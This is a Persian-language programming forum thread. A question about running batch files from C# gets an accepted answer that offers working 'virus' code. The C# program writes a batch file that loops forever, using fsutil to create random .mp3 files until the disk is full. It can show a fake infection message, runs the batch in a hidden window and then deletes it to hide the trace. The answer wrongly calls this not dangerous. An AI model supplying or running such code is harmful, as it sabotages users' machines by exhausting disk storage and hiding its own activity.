+2 امتیاز
با سلام به اساتید محترم من میخام تو پروژم از فایلهای cmd یا اسکریپت batch استفاده کنیم تا جاهایی پیش رفتم ولی احرایی نمیشن بیزحمت راهنمایی کنید
بسته شده

1 پاسخ

+2 امتیاز
 
بهترین پاسخ

سلام دوست عزیز

من زمانی دنبال ویروس نویسی بودم اگه دنبال این کار هستید سی شارپ برای این کار مناسب نیست AutoIt برای این کار عالیه

اما اگه میخایی داخل پروژه باهاش کار کنیمحدودیتهایی نیز داره

براتون یه قسمت اموزش که قبلا تهیه کردم میزارم

ابتدا با استفاده از دستور streamwriter فایلی با نامی دلخواه ایجاد میکنیم 

البته استفاده از کلاس IO یادتون نره

سپس تو ابجکت ساخته شده از  متد streamدستور نوشتن اولین خط ویروس رو صادر میکنیم

این دستور بصورت حلقه تکرار خواهد بود من در اینجا از حرفD: استفاده کردم یعنی متغییر**

در خط بعدی گزینه ای هست که یه پیام به کاربر نشون میده میتونید این مورد رو خط بزنید 

البته اسلش کردن این پیام تاثیری در اجرای برنامه نداره


سپس از خط بعدی با استفاده از فرمان fsutil  دستور ایجاد یک فایل جدید را دادم و اسم این فایل را با استفاده از تابع رندوم

کاری کردم که بصورت نامحدود و رندوم رشته یا اعداد تصادفی ایجاد کند و پسوند این فایل را به اختیار mp3 گذاشتم میتونید هرپسوندی بزارید

سپس در انتها اندازه فایل ساخته شده رو به اون میدیم مثلا 1024 یا برای سریع تر پر شدن هارد 102400000 

در انتها برای قرار گرفتن دستور در حلقه تکرار و بینهایت با دستور goto متغییر d رو فراخوانی میکنیم بدین ترتیب این حلقه در مسیر اجرا قرار گرفته و فایلهای مربوطه ساخته میشود

در نهایت برای خالی کردن حافظه کش و بستن دستور ساخت فایل که از کش برنامه خارج بشه با دو متد dispose  و cloes بهش پایان دادم

 

اما رسیدیم به قسمت دوم تا اینجا فایل ساخته شد اما برای اجرا باید از کلاس proccess استفاده کنیم

ابتدا از این کلاس یه ابجکت ساختم 

بزارید اقای ساسان کمی در این باره توضیح بدم process یا همون فرایند وظیفه تفکیک منابع و حافظه برای هریک از برنامه های در حال اجرا رو داره یعنی میتونه چنیدین برنامه مختلف در حال اجرا رو مدیریت و مرز بندی کنه

زیاد دور نشیم  باید اون بالا اول توضیح میدادم یادم رفت .......ادامه

در حالی که از این فرایند یه ابجکت ساختم فایل ساخته شده رو بهش معرفی میکنم

در خط بعدی استفاده از محیط شل یا همون بت رو برای تعریف کردم

خط چهارم  و پنجم نیز درخصوص نمایش یا عدم نمایش پنجره هستش با true or false

نهایتا اومدم این فرایند رو استارت زدم که فایل ساخته شده با متد بالا رو اجرا کنه

یکی مونده به اخر منظورم خطه ها

دستور انتظار برای اجرای دستور رو دادم یعنی تا اجرا کامل نشده منظر باشه و خارج نشه

ضمنا در پایان برای پاک کردن رد فایل ساخته شده رو نیز پاک میکنیم

میتونید بجای دستوراتی که گذاشتم از هر دستوری استفاده کنید ضمنا این پروژه رو تو محیط کنسول 2017 نوشتم

 

 

اینم سورس پروژهhttp://www.w3-farsi.com/forum/?qa=blob&qa_blobid=4125908135666958534

 

 

class Program
    {
        static void Main(string[] args)
        {
            StreamWriter sw =File.CreateText("vr.bat");//vrفایلی با این نام ساخته میشه
            sw.WriteLine(":D");//شروع حلقه 
            sw.WriteLine("msg.exe * Dangerous Virus Has Been Infected");//  اختیاری ==میتونید پیامو نشون ندید تا بدون پیام تا پر شدن هارد به کارش ادامه بده 
            sw.WriteLine("fsutil file createnew G:\\%random%.mp3 1024 ");//درج اولین دستور با ساخت فایل حجمی بصورت رندم 1024 حجم فایل رو نشون میده
           // sw.WriteLine("fsutil file createnew G:\\%random%.mp3 1024000");
            sw.WriteLine("goto D");//فراخوانی حلقه
            sw.Close();
            sw.Dispose();

            Process Oproc = new Process();
            Oproc.StartInfo.FileName = "vr.bat";
            Oproc.StartInfo.UseShellExecute = true;
            Oproc.StartInfo.CreateNoWindow = true;
            Oproc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
            Oproc.Start();
            Oproc.WaitForExit();
            File.Delete(@"vr.bat");
        }
    }
البته خطر ناک نیست این برنامه حافظه رو با حجم پر میکنه 

 

باتشکر از توجه شما خیلی جالب بود
توسط (171 امتیاز) 1 10
سوال جدید

2,337 سوال

2,871 پاسخ

3,725 دیدگاه

3,920 کاربر

دسته بندی ها

...